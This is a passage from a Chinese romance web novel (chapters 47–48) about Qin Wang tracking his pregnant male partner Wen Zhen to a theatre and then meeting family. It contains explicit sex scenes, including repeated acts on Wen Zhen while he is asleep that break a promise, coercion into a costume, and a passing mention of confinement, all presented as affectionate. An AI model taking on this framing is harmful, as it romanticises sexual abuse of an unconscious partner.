温真说出自己唯一的台词。 “……混账……” 然后捂住心口咳起来,随即闭上眼睛。 听到那一声混账,秦妄头皮瞬间发麻。 【📢作者有话说】 哈哈哈,被骂爽了 47 ? 第 47 章 ◎被发现了◎ 女生告诉温真, 要‘死’得安详一点,米娜夫人是一国王后, 生前高贵和善,死后也不能恐怖和狰狞,应该和生前一样,嘴角保持着笑容,让人忍不住地想亲近。 温真躺在舞台上,并没有办法安祥, 反而惴惴不安。 女生并没有告诉他,阿卡米修王子是陆文元扮演的。 而且刚才说台词的时候,他的余光瞥过台下, 骤然发现了好几张熟悉的面孔。 以及…… 毕竟他们是表演者, 被观看是必然的。 可其中一位观众的视线实在太过于黏着了,紧紧地凝视着他, 似乎能透过他的装扮看到他的里子。 这种具有实质性的视线让温真脊背发凉, 涌起了不太妙的危机感。 整场戏一共两个小时, 温真要躺一个小时,这一个小时主要是听着阿卡米修对着自己的尸体倾诉的爱意。 终于幕布一拉,温真该下台了。 为了方便演出,床是可移动的,被推到台下后, 女生扶着他下来, “作为素人你演得太好了,刚才你听到台下的惊呼声了吧……” “现在我们去化妆师换衣服吧。” 温真点点头。 与此同时的台下。 “叔叔,那个米娜夫人, 我好像在什么地方见过。”温潼绞尽脑汁地想着, 那双眼睛太熟悉了。 傅明义忙着看着傅童仪和傅宝, 注意力并不在台上,并没认出来温真。 “是吗?也许我们之前看过她演的话剧。” 而坐在他们一家四口旁边的秦妄,看见米娜夫人下台,他也跟着起身,后面观众被他挡住,有人想要抱怨时,但看到男人高大健硕的身躯,脸色冷淡阴鸷,一时什么话也不敢说了。 赵程一边向后面说道歉,一边跟上去。 秦妄直接从舞台侧面的通道出去,有工作人员拦他,他沉着脸看着对方,那种威严不容置疑的气势,让工作人员以为他是来巡视的领导,不由自主地侧过身子,让男人过去。 前面不远处,能够看到一个女生正扶着那位‘米娜夫人’往化妆室去。 秦妄快速跟上去。 后台工作人员和化完妆的人不停地穿梭着,秦妄冷着脸直直地往前走,所有人都情不自禁地停下给他让路。 在距离对方大概只有两米左右时,秦妄听到‘米娜夫人’的声音。 “钱就不用了……你们不是才刚出来工作吗?” “放心,这钱不是我们出,是上面的导演出,你一定要收下,不能白白打工!” “那好……” 柔和绵软的嗓音,秦妄瞳孔骤缩后又扩大,长腿猛地往前迈去。 “秦总,秦总!”赵程在后面追着喊他。 温真和女生边往化妆间走便聊天,马上要到化妆室时,他忽然听到熟悉的声音,后背徒然升起一股凉意,温真转过身。 他身后大概一米处,站着一个男人,脸色阴沉至极,漆黑的眼睛紧盯着他,他还在往前走,是一副要抓人的姿态,周围人被男人恐怖的气场吓得纷纷远离他,让男人在拥挤的走廊里,越发的鹤立鸡群。 温真猛地一惊,不知道他怎么会来这里…… 一股如果被他认出,极有可能被肆意折磨一通的危机席卷了温真。 温真脸色发白,对女生丢下一句,“我先去趟厕所……”衣服都来不及换,便提着裙摆逃似的加快了脚步。 看他步伐仓皇,秦妄缓缓笑了,不紧不慢地跟上去。 女生似乎在追着喊他,温真却也顾不得了,耳朵里只有男人皮鞋踩在地上的声音,明明周围那么嘈杂,可皮鞋的声音异常清晰地传进他的耳朵里,让他的心脏也咚咚咚地跟着狂跳。 洗手间的标识引入眼帘,如果躲进去,极有可能会被男人堵在厕所里,温真很快放弃了要去洗手间的想法,继续往前走。 戏院外面连着一条长廊,绿色的花藤郁郁葱葱地攀爬在支柱上,红白粉大朵的花拥簇着绽放,温真无暇顾及,快步地走过。 “妈妈,那里有个公主在逃跑……”女孩子惊奇的声音响起来。 长头发的妈妈随着孩子指的方向看去,就见一片花海中,蓝色眼睛,穿着礼服的温真神色仓皇,走动时裙摆拂过地面上的花朵,不论是脸庞亦或者是走路的姿态都看起来是那么美丽和高贵。 妈妈赶忙拿出自己的手机拍下一张照片,拍完之后又看见一位英俊,但神情异常可怖的男人追在温真身后。 “应该是在拍戏吧……”妈妈自言自语道。 长廊连接着另一栋比较小的戏院,温真走进去,随便找了一个房间推开门进去,关上门后,整个后背抵在门上,忐忑地听着外面的声音…… 他化了这么浓的妆,还穿这样的衣服,男人应该没有认出他,追他应该是想确认自己是不是。 只要不被他找到,就可以蒙混过关,温真这样想着。 刚刚还在前面的人骤然消失,秦妄看着一排一模一样的门停下了脚步,可很快便看见右边第二个门缝里夹着一抹白色。 那是裙子的一角。 找到了。 这三个字在脑子里出来时,秦妄全身涌起一种没办法自控的兴奋和狂热。 他缓缓走过去,他知道温真会紧张和害怕,反而故意加重步子,让步伐发出沉重的声响,也并不直接走到那扇门前,就在附近的四五间房子来回地徘徊。 奇怪的,他似乎能听见温真急促的呼吸和因为害怕而颤抖的声音。 这种温真和他玩藏猫猫的亢奋,甚至引起了他难捱的瘾渴。 秦妄抿了抿干涩的嘴,眼睛眨出一丝不正常的血丝, 他缓缓停在藏温真的房门前,门板在颤动,那是温真恐惧的传递。 他默了片刻,开始敲门。 叩叩叩—— 寂静的剧院猛地响起令人悚然的敲门声,门里面的温真心脏狂跳。 以温真对他的了解,如果他知道自己扮成这个样子去演别人的……后妈,他绝对不会轻易让这件事情翻篇,极有可能会逼着自己做羞耻的事情。 温真死死捂住自己的嘴巴,不敢发出一点声音。 “秦总!秦总!”赵程再次气喘吁吁地找到秦妄,“有电话……” 秦妄眼睛闪过一丝精光,从赵程手里拿过电话后离开了。 十分钟过去了,外面没了动静,温真狂跳的心这才恢复正常的频率,他缓了缓,打开门,外面空无一人,他匆匆返回到化妆间。 “你怎么去这么久?”女生问温真。 温真脸色还有点白,“不好意思,这个裙子我弄脏了,多少钱,我把它买下来吧……” “不用,到时候送去干洗店洗一下就好了……而且,刚才有个男的找到我,说你身上的衣服和饰品,他都要了。 虽然这个戏服是新订做的,只有你穿过一次,但他出的价钱依旧和高,导演二话不说便同意了。” “……被买下了?”温真卷曲地睫毛颤动着。 “这其实也不是什么稀罕事情,一些观众如果特别喜爱一位演员,就会买他穿过的戏服,估计是你刚才在台上演得太好了,对方很喜欢,所以想要收藏。” “和你搭戏的陆文元大影帝,他以前的戏服经常被人买去收藏,我们都司空见惯了。” 温真点点头,去卸妆换了衣服。 女生把他出演的钱给他,厚厚的一沓子,温真打开看,有些吃惊,“这么多?” 竟然有五万块钱……他就只说了一句台词而已…… “这还多啊,导演看你是个素人,还少给你了一部分,如果是之前的演员来演,要比这多三倍!”女生小声道。 温真拿了钱,走出化妆室,正好接到石美青的电话,温真匆匆和石美青汇合。 “走吧,陆总在戏院附近的茶馆等我们。” “这么长时间,你去哪了?”过去的路上,石美青问。 “……有个朋友在这里遇到一些麻烦,我帮了帮她。” “你不知道,陆文元演得这部比我们刚才看的得那部精彩多了,是个爱上自己后妈的故事,关键是这个后妈扮相特别美丽,一出来全场都惊呼了。”石美青赞叹道。 “……是吗……”温真挤出一个不太自然的笑容。 李墨在茶馆外面等他们,“实在抱歉,让你们等这么久,快进去吧,陆总在里面等你们。” 是一家颇有古韵的茶馆,镂空的窗户和门,全屋铺着一层蒲草的席子,檀木的桌子正对着外面的绿林。 桌子前坐着的男人正动作娴熟地倒掉洗茶都水,再泡上新的,接着抬起头,冲他们微微一笑,“两位,请坐。” 石美青和温真坐下。 陆文元把倒扣的杯子冲洗一遍,接着给他们倒茶,一瞬间茶香袅袅。 “本来是约好上午和你们见面的,临时出了点事情,实在抱歉。”陆文元道。 “没关系,可以谅解。”石美青也跟着道。 “既然浪费了那么多时间,我也不说什么客气话了,直接谈谈版权的事情。”陆文元的目光移到温真身上,那双眼睛让他觉得有些熟悉,似乎就在不就见过,可他每天接触的人太多了,他一时没有想起来。 温真则是不动声色地移开目光,“谈之前,我想问陆总一个问题。” “你为什么想要买这部的版权?” “当然是因为觉得它是一部受欢迎的好作品,想要把他拍成影视剧让它被更多人看到。”陆文元笑。 温真对这个答案有些失望。 这么多年一心扑在自己喜欢的事业上,温真其实是有一点理想主义的,他希望那些赏识他的甲方,对他作品的购买不仅仅是因为看重这部作品的热度,而是更看重这部作品所传达的思想和感情。 他们一起吃了饭,结束时,陆文元道:“你们可以好好考虑考虑,价钱不是问题。” “好的,我们会好好考虑的。”石美青道。 回去的路上,石美青道:“《清心诀》才刚刚完结,热度还在持续不断的攀升中,早上我还接到另一个有意向买版权的公司,如果你不想和他合作,可以再等等。” “这是你的作品,决定权都在你。” 温真看向石美青,忽然有些动容,“谢谢你,真的很感谢你……” 唐泽川想挖走他时,温真心里其实没有一点纠结,现在看来,他做的决定并没有错。 “谢什么啊。”石美青被他搞得眼眶有点发热,“走吧,先回酒店吧。” “今天的车看来是赶不上了,明天再回去吧。” 到酒店是晚上九点钟,出了电梯,温真拿着房卡开门时,石美青忽然想起来一个事情。 她停下回房间的脚步,“陆文元的演出时候我好像见到秦总了……” “他是不是来了?” 门‘滴’一声打开。 温真眼皮重重一跳,他忘记了一件重要的事情。 温真进入房间,他先停在门口,闭着眼睛忐忑地等待着,等待着男人猝不及防地抱住他,可是温真等了很久,都没有动静,他慢慢地睁开眼睛,房间里并没有人。 温真的心还在紧张地跳动着。 石美青可能看错,但温真没有。 本该在泾市的男人出现在这里。 温真虽然不知道他因为什么事情来,但以自己对他的了解,他走的时候,不会悄无声息地走。 可是他看了一圈,房间里的确没有人,或许他真的没和他打一声招呼离去了,温真这样想着,心慢慢放下,就在他准备去洗澡时,忽然看到大床上铺放着一条裙子,以及相配套的首饰。 一字肩、大裙摆、旋了三圈的钻石手环、宝石项链…… 是他穿过的戏服…… “漂亮吗?”沙哑的声音从身后传来,带着颗粒般擦磨着温真的耳道。 温真脑子‘嗡’地一声。 被发现了。 【📢作者有话说】 丸辣! 48 ? 第 48 章 ◎用鼻子嗅闻着◎ “或许我应该叫你米娜夫人?”男人的声音再次从身后传来, 带着一种令温真脊背的发凉的嘶哑。 温真僵硬地转过身,就见男人倚在墙上, 身上穿着和阿卡米修王子同款式的西服。 他比陆文元□□的冲击力要更强一点,手臂和肩颈隆起肌肉的轮廓,呈现出高度亢奋的怒张感。 那种不太妙的危机感再次涌来,温真睫毛颤动着,“……什么米娜夫人?” “你怎么忽然来了?”温真试图转移话题。 秦妄冷笑一声,“如果不来也看不到那么精彩的戏。” 见瞒不过他, 温真垂眼,“只是看见一个女生哭得可怜,所以帮了她……” “我先去洗个澡……” 秦妄堵住他的去路。 “换上衣服。” 果真和自己猜的一样, 温真脸庞涌上红晕, “之浸,别这样。” “换上。”秦妄眈眈地盯着他。 知道自己逃不过, 温真忍着羞耻, 重新穿上女人的裙子, 穿好后,他坐在床上,肌肤微微泛红,有些难堪地垂眼。 在台上化了浓妆,有一层掩护, 现在他没有妆发, 顶着自己男性的脸穿上这样华丽高贵的衣服,被男人紧紧盯着看。 目光灼烫极了,温真睫毛颤动不停。 “太晚了, 明天还要赶车。”温真委婉地表示他们该休息了。 秦妄却一动不动, 视线像是黏在他身上, 撕都没办法撕开。 他喉头干涩地发疼,说实话,应该感谢那位向温真寻求帮助的女生,她帮他挖掘了一些他曾经动过念头,但没有找到机会实行的事情,没想到……他这么适合。 露出来的脖颈纤长优雅,手臂上缠的臂环微微陷进肉里,磨出红色,裙摆散落在地上,脸庞微微泛红,还弯曲的睫毛颤动着,不止显出美丽,还异常的高贵圣洁。 秦妄喉结滚动,抱住他去了窗外。 这是一栋有20多层的酒店,他们的房间在在最顶层,能够俯瞰市区整个夜幕,阳台上的围栏上缠着藤蔓,大朵大朵粉色的花簇拥着。 温真脊背压在花丛中,脸色泛起潮红,羞耻地咬住手背。 原本便很宽大的裙摆越发大了,不停地窸窣抖动着。 紧紧合并的被掰开,指腹的茧子摩挲着缓缓向上,在外层揉捏着,温真呼吸急促,疲惫渴痒的地方被这样抚慰,微微战栗着,情不自禁地开合着,让那条灵活的舌探进去。 长满了细小的颗粒,擦磨着,带来酥麻的痒意。 温真攥紧围栏,脚趾绷紧,四肢都发软着。 想到男人刚才叫他的那种称呼,好像真成了高贵圣洁的王后,然而,裙子里面却藏着一个男人,正在亵,玩自己不能见人的地方。 徒然升起一股难言的刺激,情不自禁地收紧,和灵活的紧紧绞在一起,不知道是谁要吃了谁。 玲珑的探出头,男人的高挺的鼻子丁页弄磨蹭起来。 温真猛地捂住嘴…… 英俊的脸湿淋淋的,就连那双漆黑的眉眼也像是浸水似的,越发地浓稠黑沉,秦妄抵着他的额头,又抱着他回房间,很快被放在床上。 秦妄舔着他的唇瓣,吸吮着里面分泌出来的甜汁。 停下回味了一下刚才吮到食管里的汁液的味道后,灼灼地盯着温真。 那目光又黏又烫,泛着一种不太正常的亢奋。 然后他哑着嗓子叫温真,“母亲。” 温真脑子嗡地一声,整个头皮都麻起来。 “……你疯了。” 秦妄缓缓笑了,“你应该骂我混账。” 温真在短暂的震惊后冷静下来,他感觉男人精神有点不太对,开始轻声哄他,“明天一早要回去……先睡觉好吗?等回去再……” 秦妄不为所动,咬住他的指头,一边盯着他一边舔吮起来。 秦妄刺激他,又叫了一次,“母亲。” 如果温真没有孩子,那么他这样的称呼温真不会有什么反应,但是他为人父母,秦妄这样叫,他会陷入到很强烈的背德感中。 温真难堪极了,他没和人红过脸,也不会骂人的话,只会一句刚学的,到底没忍住,开合唇瓣,“……混账……” 殊不知这样正合秦妄的意思,血液快速地流动,整个筋脉都开始跳动。 秦妄猛地压住他,“再骂一声。” 温真被他的反应弄得一愣,接着又感受到男人的欲渴和庞大。 温真脸上带着晕红,他大概知道男人精神和常人不同,但是没想到会这么的…… 他捂住脸,不肯骂了。 秦妄见状,威风凛凛地,“那今晚别睡了。” 温真想到他说的别睡了会发生什么,心中一紧。 睫毛颤动着,忍着羞耻,又轻声念了一句,“……混账。” 秦妄猛地沉进去。 温真眼睛睁大,还不不及制止,便被男人凶猛悍然的力道弄软了身子…… *** 起起伏伏一夜,天擦亮时,秦妄抱着温真去清洗,泡在浴缸里,喉结滚动着,又埋头进去。 温真昏昏醒醒,被折磨得精神和体力都到达了极限,这会全身都软绵绵的脱力,麻酥酥的又被舔吃着,泛着一种过度的胀痛和痒意,想要阻止他,可连连胳膊都抬不起来,没有办法地让他吃弄着。 不知道睡了多久,温真有了一些意识,但睁不开眼睛,脸庞被人亲舔,接着有东西蹭在他脸颊上,缓缓到嘴巴上,用力压碾他的嘴唇,嘴唇被来回擦磨,烧灼滚烫起来,鼻息里满是诡异的气味。 温真蹙眉,唇瓣打开了一点,很快挤开进去,撬开他的齿关……猝不及防地吃住,整个嘴巴都被撑成了O形。 嘴角都要裂开了…… 热烫的东西洒在脸上后,温真又昏睡过去。 等温真痛苦地睁开眼睛时,正被人紧紧搂在怀里,胀痛的嘴巴被轻轻地舔着……微微的痒意让温真哆嗦。 秦妄察觉他醒了,满含爱意地亲吻他的眼睛,接着又去轻轻地蹭磨他的嘴巴。 那样喜爱地亲蹭着,像是嘴巴做了什么让他高兴的事情。 “几点了……”一说话,温真才发现自己的嘴巴比以往都要酸胀,嘴角要裂开一样,喉管返上来一股诡异的气味。 “下午三点。”秦妄继续蹭他的嘴巴。 唇瓣外皮也疼得厉害,像是被什么东西狠狠擦磨过一样,只是这样被轻轻的便战栗起来,温真难耐道:“别蹭……疼……” “怎么这么疼……”温真喘息着。 秦妄在心里嘿嘿两声,脸上却是一副沉稳的表情。 “疼吗?让我看看。”秦妄滚动喉结,回忆了一下被温真吃到嘴的情景,只是这样想一下,便又蠢蠢欲动了,他找个理由,“可能我亲得太用力了,下次轻一点。” 温真也察觉到什么,惊慌地推开他,想要坐起来。 “……都三点了,说好要上午回去的。” “我和石美青说了,明天再回去。” “明天?” 秦妄亲着他的耳朵,又道: “刚才傅明义邀请我们一起吃饭。” “他说他妻子很喜欢你。” “……温潼。” “你们认识?” “陆文元说温潼喜欢我的作品,所以在中间牵线搭桥,我们昨天上午见了一次。”温真解释。 秦妄知道陆文元在打什么主意了。 他抱住温真坐起来,给他穿衣服,温真两颊晕红,一时推阻不过他,索性算了,看着地上扔的礼服和宝石,温真想起昨天晚上的荒唐事情,脸颊情不自禁地滚烫起来。 他盯着男人的脸,知道他精神状态和别人不同,但没想到会那么颠乱。 穿好后,他们收拾收拾出发去傅明义订的餐厅。 路上温真睡了过去,红灯停下时,秦妄给他盖了一件衣服,摸了摸他的头发,到地方时,秦妄叫醒他,两个人一起进去。 是一家高档的儿童餐厅,能够看见西装革履的丈夫带着举止优雅的妻子以及可爱的孩子在吃饭。 温真和秦妄被领着去了二楼的包厢。 “童仪,让弟弟也看一下好吗?”包厢里传来温潼甜美的声音。 包厢里一个小女孩正高高举着一本漫画书,另一个小男孩正在够小女孩手里的漫画书,因为够不着,嘴微微瘪起来,想要哭鼻子了。 “姐姐。” 傅明义道:“傅童仪,把漫画书给弟弟。” “这是给你们两个人买的,不是你一个人的。” “我只是逗逗他。”傅童仪把漫画书还给傅宝,傅宝含着眼泪,很快笑起来,“谢谢姐姐。” 不过刚刚止住的眼泪很快又涌出来,傅宝看见门口那个高大严肃的男人后,赶紧躲到温潼的身后,“妈咪!” “温先生,”傅明义也发觉了,起身笑道:“你们先坐吧。” 看温真好奇地打量着两个小孩子,傅明义道:“这是我和温潼的孩子,一个叫傅童仪,一个叫傅宝,双胞胎,今年三岁了。” 两个小孩子坐在温潼左右手,都是一副依恋妈妈的样子,温真微微有些吃惊,他看温潼总觉得和自己的女儿差不多,没想到已经有两个孩子了。 温真回过神来,打算给他们介绍秦妄,但是傅明义笑道:“不用介绍了,我和秦总认识。” 温真随即反应过来,都是泾市的商人,认识也是正常的。 吃完饭后,温潼和温真一起带着孩子去餐厅的儿童区域玩。 傅童仪和傅宝和几个孩子在玩滑滑梯,温真和温潼有机会说说话。 “你和他,原来是恋人。”温潼圆圆的眼睛流露出好奇。 “嗯。”温真笑,他察觉到温潼以及两个孩子对秦妄的害怕,情不自禁地想解释,“他只是看起来有点凶,并不是坏人。” 温潼慌张道,“没有,没有觉得他是坏人。” “傅宝,傅宝只是太胆小了,抱歉。”造成这样的误会让温潼内疚极了。 “没关系,”温真柔声安慰,“你别难过。” “我没想到你已经有两个宝宝了,”温真笑,“你看起来和我女儿一样大。” 温潼害羞起来,“刚毕业,就和叔叔在一起了,那个时候有了宝宝。”说完温潼有些羡慕又崇拜地看着他,“我,我也想当一个漫画家,可是一直有事情,没办法实现。” 毕业没多久他就怀了宝宝,生完孩子也没有去工作过,只是在家里接接稿子。 “你会画画?”温真问。 “嗯,”温潼有些不好意思,拿出自己iPad给温真看自己画的,“这些是我给清心诀,画的同人图……” “这个是你画的?”温真惊讶道。 是清心诀主角很火的一张角色图,在网上点赞都有十万加。 “潼潼这个博主是你吗?” 粉丝超过百万的绘画博主,每一次发布新作品都是十万加的点赞量。 温潼不好意思地点头。 “我知道自己画的不是很好,但我是真心喜欢你的这部作品。” “怎么会。”温真笑,“你画得很好,因为画得很好,我当时还让办公室的同事看了,他们都在夸你……我们上司还想联系你看你有没有意向到我们工作室来呢。” “真的吗?”圆圆的眼睛一下子亮起来。 “当然是真的。” 另一边的餐厅的阳台,傅明义开门见山道:“我之前和陆文元有过合作,熟悉了一些,他知道我妻子喜欢温先生的作品,所以昨天让他们见了一面。” “你应该知道他背后的意图吧。” 秦妄点头。 “你打算帮他?” 他们虽然行业不同,但其中一个倒塌了,就和鲸落一样,无论是大鱼小鱼都能吃到肉,秦妄从前和傅明义只是点头之交,虽然傅明义看起来斯文温和,但秦妄觉得他这个人并不是表面上的这样,不然秦氏集团不会在他手里经营得这么好。 秦妄暂时拿不准他是打算帮还是不帮陆文元。 傅明义笑了笑,转而看向儿童玩耍区域。 “我妻子很喜欢温先生,我不会让他伤心。” 一些商业聚会里不是没听说过傅明义对自己的小妻子很疼爱,秦妄一直觉得这是傅明义对外界营造出来的一种爱妻人设,这次接触下来发现他疼爱自己的小妻子甚至比外界传出来的还要夸张。 晚上七点的时候,他们告别。 “这次带温潼和孩子过来,是为了度过元旦 ,等过完元旦,我们回了泾市,到时候温先生可以约温潼一起吃饭。温潼很喜欢你。”傅明义替温潼表达着对温真的一见如故。 温潼的手被傅明义紧紧牵着,站在傅明义的身后,可爱红润的脸颊泛出一种羞涩的粉色,依依不舍又期待地看着温真。 “那我们到泾市再一起吃饭。”温真柔声对温潼说道。 温潼眼睛亮晶晶的,欣喜地看了傅明义一眼,然后重重地点头。 傅童仪和傅宝也都很喜欢温真,“温叔叔,你和妈妈一起吃饭,可以带上我吗?” “还有我。” 温真摸摸傅童仪的头,笑着点头,“嗯,也带上你们。” 回去的路上,温真有些担心地问,“温潼告诉我,陆文元是想让傅明义帮忙,才让温潼和我见面。” 赵程之前和他说过,陆文元和秦妄现在是竞争关系,温真担心因为自己损害到秦氏集团的利益。 秦妄也不打算瞒他,“他原本打算和傅明义联合对付秦氏。不过傅明义没这个打算。” 想了想,秦妄又道:“如果你想让陆文元买你的版权,卖给他也没关系,这对集团来说没什么危机。也不必担心会对我有什么影响。” 如果温真出售自己的东西还要被别人的意见干扰,那他也真是无能。 温真嗯了一声,他毕竟也工作了这么多年,知道他们一个小公司的经营对秦氏不会有任何影响,所以知道秦妄正处于竞争关系也来见了陆文元,可惜陆文元并不是他理想中的买方。 回去之后,陆文元没什么动作了,秦妄也稍稍清闲一些,元旦节前三天,秦妄回了一趟老宅。 每到圣诞节和元旦节这个时候,秦夫人都会把家里布置的中不中洋不洋,既有圣诞树,门口又挂灯笼,屋子里张灯结彩。 但秦富威就喜欢这副喜气洋洋的景象。 秦妄进门的生活,头碰到门口挂得彩灯,叮铃响了一下。 秦夫人和秦舢都走出来。 “你这都一个月没回来了,你天天都在忙什么?”秦舢狐疑地问。 忙什么,当然是忙着和老婆孩子在一起,不然天天回来和你看新闻吗?秦夫人把自家老公一眼拽到一边去,笑着问,“头发怎么又剃短了?” 从那次脑袋受伤后,没见他再把他头发留长,当然他那张脸留这么短的头发也英俊得不行,但这样却总显得有点阴戾,原本就不面善,现在一般人更不敢靠近他了。 秦妄没回答。 “正好,我和爸找你说件事。” 秦妄走过去,就见秦富威坐在沙发上,秦宝章正在教他打游戏,“爷爷,你要按这个,跳起来打他们!” “你看我,这样,再这样……”对面出了个大招,秦宝章拼命地对抗中,手指不停地按着屏幕,脸都憋红了。 “宝章,不许玩了,快去做功课。” 最终还是死了,秦宝章一下子倒在沙发上,秦舢把他拽起来,推着他回到自己房间。 “前段时间不是说好要带宁宁的爸爸来家里做客吗?怎么这么长时间没动静。”秦夫人问道。 “我和爸都等着呢,是吧爸。” 秦富威点点头。 “他不叫宁宁爸爸,他叫温真,”秦妄纠正他们。 “你看我都习惯了,在群里都是叫xx爸爸和xx妈妈,”秦夫人笑,“那我们叫他温先生好吧。” “你准备什么时候带温先生过来。” “都怀孕那么久了,我们都还没有见过,这传出去多不像话。” “你放心,他来做客,我和爸爸绝对不会多问,一定会尊重他。” “你不知道,爸连他第一次登门的红包都准备好了,厚厚的一沓子,比当年我第一次来时候都多。”看秦富威没注意,秦夫人小声道。 秦妄道:“什么时候能来我不确定,我要尊重他个人意愿。” “是要尊重他个人意愿。”秦夫人应下来,心里腹诽,把人家关在家里也没见你尊重他个人意愿啊! 不过秦夫人还是为他们由衷的高兴,能让这样一个说一不二、强硬的男人知道尊重对方的个人意愿,说明是真的很爱了。 秦妄吃完饭到别墅已经是晚上七点钟,夜空中一颗星星也没有,漆黑一片,秦妄没急着开车进去,停在门口,看着二楼一小格亮光。 这一个月来,不论什么时候回来,二楼的窗户始终亮着。 里面有人在等他。 在一片寒风中进了家门,一股暖气从上到下裹住他,他脱掉外套和西服,直奔二楼卧室,推开门就看见温真坐在沙发上。 穿一件浅色的针织衣,身上盖着带流苏的毯子,腹部那里显出圆润的轮廓,脸庞白皙又红润,唇瓣水红,长长的睫毛垂落。 正熟睡着。 秦妄没叫醒他,先去洗了澡,洗完澡坐在他旁边,一边去亲他越发饱满的唇瓣,一边揉着。 现在到了孕晚期,温真自己没察觉,但是秦妄发现他要敏感了很多,只是轻轻一碰,便缓缓地丁页着针织衣凸起来。 秦妄隔着衣服去揉动。 没一会儿便气喘吁吁地张开唇瓣,秦妄轻而易举地侵入进去,磨弄着他缩动的口腔。 勾得温真情不自禁地含吮他的舌。 这样明显让他舒服,开始不自觉地蹭退……秦妄便放开他,半跪着拱进毯子里面。 就那样隔着衣服用鼻子去嗅闻着。 只是这样闻闻,温真便轻轻哆嗦着夹紧他的脑袋。 内侧光滑的肌肤蹭着他的头皮,秦妄又轻又重地隔着衣裤咬住,很快有水浸出来。 秦妄便轻轻地舔,临摹着形状,直到整个布料都被他的口水弄湿。 秦妄一整个完全含住,正要好好嘬吮上面的凸起时,脑袋被人惊慌地推开。 温真睁开眼睛就看见毯子鼓出头的轮廓,那里被温热的包裹着,一股麻酥的痒意在他体内泛滥,让他全身忍不住的泛软…… 他羞得厉害,慌忙去推秦妄。 不知道是什么时候回来的,回来也不叫醒他,而是,明明答应过他不会再趁着他睡着的时候做那种事情,可是…… 秦妄掀开毯子出来,五官硬朗英俊,锋利地唇周围都是湿漉漉的液体。 “醒了?”秦妄又凑过去亲他的脸。 温真被他又舔又亲,余光看见那里…… 穿的是灰色的家居裤,湿掉的痕迹很明显,还只是那里湿掉了,像是……尿裤子一样,温真涌起红晕,慌忙并拢。 “……明明答应过我不会了。”温真捂眼,总是趁着他睡着的时候做那种事情。 中医的话温真听进去了,和秦妄说好一个星期只能一次,秦妄也答应了。 “下次不会了。”秦妄亲他。 温真被男人亲得发痒,忍不住露出笑,把他脑袋推得远远的,秦妄便一条退跪在沙发上,一把把他抱起来,抱起来后还作势要往上抛那样吓温真。 温真慌忙搂住他的脖子,秦妄才不怀好意地笑了一下,把他放在床上。 秦妄抱着他,“元旦去我家过好吗?” “我爸想见你。” “……”温真垂眼。 他怀了男人的孩子,又决定和男人在一起,见面总归是逃不掉的,但又总是害怕担心,毕竟他不是女人,是男人,而且还是一个会怀孕的男人,任谁都会觉得他是个怪物吧…… “我警告过他们了,他们不会问一些奇怪的问题,也不会让你觉得无所适从。” 温真无可奈何地笑,“怎么能对家人用警告呢。” 不知道还以为秦妄和家人的关系不好,可据他了解,明明秦富威最宠他,连大哥也很纵容他。 “那我威慑过他们了。”秦妄换个词,贴住温真的颈窝。 “威慑也不能这样用,”温真温柔地看着他,“你应该说,我和他们打过招呼了。” “我和他们打过招呼了。”秦妄道,“所以你元旦和我一起回去。” 温真睫毛颤动,最终还是点头,“嗯。” 他已经下定决心和男人在一起了,父母总归是要见的,没办法逃避。 “我跟你一起回去。” 说完这件事,两个人抱在一起,脸颊蹭来蹭去,温真整个人都暖融融的发软。 又有点害怕男人出尔反尔来强的,毕竟从回来后,秦妄真的像答应自己的那样只是亲亲他。 这并不像男人的作风。 但男人似乎真的没有要做的念头,还拍着他的脊背,像哄孩子一样哄他入睡。 也许是听进去医生的话了,温真这样想着,眼睛慢慢睁不开,陷入沉睡中。 “睡着了吗?”秦妄眼睛漆黑发亮,一点也没有困意,“宝贝。” 温真脸颊红润,长睫毛垂落,没有回应,翻过身,紧紧贴住他。 秦妄挑眉,先捧着温真的脸狠狠亲一下,然后拿出来,凶悍、威风凛凛地竖立着,手持着去戳弄温真的脸。 脸颊肉被顶出一个和鸡蛋差不多大的凹陷,再用凸起的青筋擦蹭着温真的唇瓣,像是被亲吻一样,整个头皮都刺激地发麻。 秦妄滚动喉结,猛地挤开温真微张的唇瓣…… *** 很快到了去见秦妄家人的日子,温真焦虑地选自己要穿的衣服,秦妄见状,直接拿出一件西装,“就穿这件。” 温真这才停止了犹豫不决,换上后,温真又去看自己的唇瓣,不肿了,还是红着。 这几天不知道怎么回事,早上一起来嘴巴总是红着,口腔也酸痛,一直有很强烈的异物感,吞咽东西都有点费劲。 “是不是该涂点东西……”温真不知所措。 秦妄盯着温真的唇瓣,露出一种懊悔、心疼又暗爽的表情。 “是该轻点。” 温真疑惑地看着他,秦妄不动声色移开目光,“是该涂点。” 付钰宁也去,秦妄先让司机把人接到这里来,温真下去的时候,付钰宁正在沙发上坐着等他们。 “爸爸。” “宁宁。” 付钰宁这段时间一直在补课,温真差不多一个月没见到她了,怜爱地摸了摸付钰宁的头发,父女两个说着话,秦妄去开车,然后三人一起出发到秦家的老宅。 站在门口,温真明显紧张起来。 付钰宁原本想安慰他,但看见秦妄牵住温真的手,便没说话,跟在他们后面走进去。 秦夫人搀扶着秦富威走出来,秦舢和秦宝章跟在后面。 四个人都穿着崭新的衣服,面容干净整洁,像是要迎接什么重要的客人一样仔细打理过自己。 “温先生。”秦夫人客客气气、喜气洋洋地叫温真。 温真露出笑容,和他们一一打过招呼,付钰宁跟在温真后面也客气乖巧地他们打招呼。 秦富威打量着温真,不怒自威的脸也流露出些许的和善和满意,“快进来吧,站在外面干什么。” “对,快进来,雪都下大了。”秦舢招呼着。 饭菜还在准备着,几个大人坐在沙发上聊天,秦夫人和秦富威被秦妄威慑过了,没敢问让温真觉得不适的问题,只是聊一下家常,而秦宝章和付钰宁在圣诞树旁边的沙发上打游戏。 整个房间都是一副其乐融融的景象。 饭菜也都是温真和付钰宁爱吃的,吃过饭后,秦富威拿出两个大红包,一个给温真,一个给付钰宁。 温真推脱着,秦妄道:“收下吧。” “这是该给的。”秦夫人道。 吃完饭后,秦妄和自己父兄聊天,秦夫人拿着一本相册,把温真叫到一旁,悄悄看了眼秦妄,见秦妄没往这边看,把相册掀开,小声道:“这是秦妄小时的照片,我偷偷拿出来给你看。” 第一张就是秦妄咬住秦富威脸的照片。 “这个时候他才三岁,已经特别爱咬人了,谁抱他都要咬一口,家里的佣人和爸爸的脸都被咬出血过。” “那时候,他爸爸气得没办法,想买一个给狗戴得嘴笼给他戴上,被他妈妈阻止了,哈哈。” “我要是他妈妈,绝对要给他买一个戴上。”秦夫人小声说着,“怎么也要治治他这个坏毛病。” 